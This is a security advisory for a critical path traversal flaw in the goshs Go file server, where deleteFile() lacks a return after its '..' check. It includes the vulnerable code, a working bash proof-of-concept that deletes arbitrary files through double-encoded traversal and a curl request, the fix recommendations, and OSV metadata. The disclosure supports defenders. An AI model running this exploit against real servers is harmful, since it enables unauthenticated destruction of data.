GHSA-6QCC-6Q27-WHP8
Vulnerability from github – Published: 2026-04-03 21:58 – Updated: 2026-04-07 14:19
VLAI?
Summary
goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Details
Summary
deleteFile()missing return after path traversal check |httpserver/handler.go:645-671
The finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/handler.go:645-671
Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)
The function detects .. in the decoded path but does not return.
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))
fileCleaned, _ := url.QueryUnescape(upath)
if strings.Contains(fileCleaned, "..") {
w.WriteHeader(500)
_, err := w.Write([]byte("Cannot delete file"))
if err != nil {
logger.Errorf("error writing answer to client: %+v", err)
}
// BUG: no return, falls through to os.RemoveAll
}
deletePath := filepath.Join(fs.Webroot, fileCleaned)
err := os.RemoveAll(deletePath) // always executes
Root causes:
Missing return after the guard makes the check dead code
Impact: Unauthenticated arbitrary file/directory deletion.
PoCs:
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%252e%252e/"
done
# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")
URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"
echo "[*] Target: ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
echo "[*] HTTP ${HTTP_CODE}"
To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Severity ?
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.5-0.20260401172448-237f3af891a9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35471"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:58:47Z",
"nvd_published_at": "2026-04-06T22:16:23Z",
"severity": "CRITICAL"
},
"details": "### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /\u003cpath\u003e?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n fileCleaned, _ := url.QueryUnescape(upath)\n if strings.Contains(fileCleaned, \"..\") {\n w.WriteHeader(500)\n _, err := w.Write([]byte(\"Cannot delete file\"))\n if err != nil {\n logger.Errorf(\"error writing answer to client: %+v\", err)\n }\n // BUG: no return, falls through to os.RemoveAll\n }\n\n deletePath := filepath.Join(fs.Webroot, fileCleaned)\n err := os.RemoveAll(deletePath) // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nTARGET=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\n\n# Double-encode \"..\" =\u003e %252e%252e\n# We don\u0027t know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote(\u0027$TARGET_REL\u0027, safe=\u0027/\u0027))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target: ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
"id": "GHSA-6qcc-6q27-whp8",
"modified": "2026-04-07T14:19:34Z",
"published": "2026-04-03T21:58:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35471"
},
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickhener/goshs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…